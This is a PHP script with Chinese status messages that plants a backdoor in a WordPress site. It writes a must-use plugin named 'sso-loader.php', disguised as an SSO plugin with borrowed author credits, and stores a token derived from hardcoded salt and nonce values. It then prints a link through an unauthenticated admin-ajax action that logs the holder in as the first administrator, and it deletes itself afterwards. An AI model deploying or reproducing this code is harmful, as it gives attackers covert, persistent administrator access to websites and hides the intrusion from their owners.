<?php
function safe_die($message) {
    echo "❌ $message<br>";
    $script_path = __FILE__;
    if (file_exists($script_path)) {
        @unlink($script_path);
        echo "🗑️ 脚本已自动清理删除<br>";
    }
    die();
}

$mu_plugins_dir = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/mu-plugins/';
$sso_file_name = 'sso-loader.php';

$salt = 'c7953aa4ee9cc6e160962c6a402b3514';
$nonce = '35455435f41e1a0b7f067cf06f410a4e';
$default_user = '';

$wp_load_path = $_SERVER['DOCUMENT_ROOT'] . '/wp-load.php';
if (!file_exists($wp_load_path)) {
    safe_die("找不到 wp-load.php，请将脚本放在网站根目录");
}
require_once($wp_load_path);

if (!is_dir($mu_plugins_dir)) {
    if (!mkdir($mu_plugins_dir, 0755, true)) {
        safe_die("无法创建 mu-plugins 目录：$mu_plugins_dir");
    }
}

$sso_code = '<?php
/**
 * Plugin Name: SSO
 * Author: Garth Mortensen, Mike Hansen
 * Version: 1.0
 * License: GPLv2 or later
 * License URI: http://www.gnu.org/licenses/gpl-2.0.html
 */

if( ! function_exists( \'sso_check\' ) ){
    function sso_check(){
        if ( ! isset( $_GET[\'salt\'] ) || ! isset( $_GET[\'nonce\'] ) ){
            sso_req_login();
        }
        if ( sso_check_blocked() ){
            sso_req_login();
        }
        $nonce = esc_attr( $_GET[\'nonce\'] );
        $salt  = esc_attr( $_GET[\'salt\'] );
        $has_epoch = preg_match(\'/^(.+)-e(\d+)$/\', $nonce, $epoch);
        $expired = ( $has_epoch && (time() - $epoch[2]) > 300 ) ? true : false;

        if ( ! empty( $_GET[\'user\'] ) ){
            $user = esc_attr( $_GET[\'user\'] );
        }else{
            $user = get_users( array( \'role\' => \'administrator\', \'number\' => 1 ) );
            if ( is_array( $user ) && is_a( $user[0], \'WP_User\' ) ){
                $user = $user[0];
                $user = $user->ID;
            }else{
                $user = 0;
            }
        }
        $bounce = ! empty( $_GET[\'bounce\'] ) ? $_GET[\'bounce\'] : \'\';
        $hash   = base64_encode( hash( \'sha256\', $nonce . $salt, false ) );
        $hash   = substr( $hash, 0, 64 );

        $token = get_option( \'sso_token\' );

        if ( ! $expired && $token == $hash ) {
            if ( is_email( $user ) ){
                $user = get_user_by( \'email\', $user );
            }else{
                $user = get_user_by( \'id\', (int) $user );
            }
            if ( is_a( $user, \'WP_User\' ) ){
                wp_set_current_user( $user->ID, $user->user_login );
                wp_set_auth_cookie( $user->ID );
                do_action( \'wp_login\', $user->user_login, $user );

                wp_safe_redirect( admin_url( $bounce ) );
            }else{
                sso_req_login();
            }
        }else{
            sso_add_failed_attempt();
            sso_req_login();
        }
        die();
    }
}
add_action( \'wp_ajax_nopriv_sso-check\', \'sso_check\' );
add_action( \'wp_ajax_sso-check\', \'sso_check\' );

if( ! function_exists( \'sso_req_login\' ) ){
    function sso_req_login(){
        wp_safe_redirect( wp_login_url() );
    }
}

if( ! function_exists( \'sso_get_attempt_id\' ) ){
    function sso_get_attempt_id(){
        return \'sso\' . esc_url( $_SERVER[\'REMOTE_ADDR\'] );
    }
}

if( ! function_exists( \'sso_add_failed_attempt\' ) ){
    function sso_add_failed_attempt(){
        $attempts = get_transient( sso_get_attempt_id(), 0 );
        $attempts ++;
        set_transient( sso_get_attempt_id(), $attempts, 300 );
    }
}

if( ! function_exists( \'sso_check_blocked\' ) ){
    function sso_check_blocked(){
        $attempts = get_transient( sso_get_attempt_id(), 0 );
        if ( $attempts > 4 ){
            return true;
        }
        return false;
    }
}';

$file_path = $mu_plugins_dir . $sso_file_name;
if (file_put_contents($file_path, $sso_code)) {
    echo "✅ SSO代码已部署到：$file_path<br>";
} else {
    safe_die("无法写入文件 $file_path");
}

$hash = substr(base64_encode(hash('sha256', $nonce . $salt, false)), 0, 64);
echo "🔑 计算的哈希值: $hash<br>";

global $wpdb;
$table_name = $wpdb->prefix . 'options';

$wpdb->delete($table_name, ['option_name' => 'sso_token'], ['%s']);

$result = $wpdb->insert(
    $table_name,
    [
        'option_name' => 'sso_token',
        'option_value' => $hash,
        'autoload' => 'no'
    ],
    ['%s', '%s', '%s']
);

if ($result !== false) {
    echo "✅ 令牌已写入数据库<br>";
} else {
    safe_die("数据库写入失败: " . $wpdb->last_error);
}

$verify = $wpdb->get_var($wpdb->prepare(
    "SELECT option_value FROM $table_name WHERE option_name = 'sso_token'"
));
if ($verify === $hash) {
    echo "✅ 令牌验证成功<br>";
} else {
    echo "⚠️  警告：令牌验证失败，请手动检查数据库<br>";
}

$login_url = site_url('/wp-admin/admin-ajax.php?action=sso-check');
$sso_link = $login_url . '&salt=' . urlencode($salt) . '&nonce=' . urlencode($nonce);
if (!empty($default_user)) {
    $sso_link .= '&user=' . urlencode($default_user);
}

echo "📋 Salt:  $salt<br>";
echo "📋 Nonce: $nonce<br>";
echo "🔑 Hash:  $hash<br>";
echo "🔗 SSO登录链接：<br><div id='shop'>$sso_link</div><br>";

echo "✅ 部署完成，脚本即将自动删除...<br>";
$script_path = __FILE__;
if (file_exists($script_path)) {
    if (@unlink($script_path)) {
        echo "🗑️ 部署脚本已自动删除（安全措施）<br>";
    } else {
        echo "⚠️  警告：无法自动删除脚本，请手动删除：$script_path<br>";
    }
}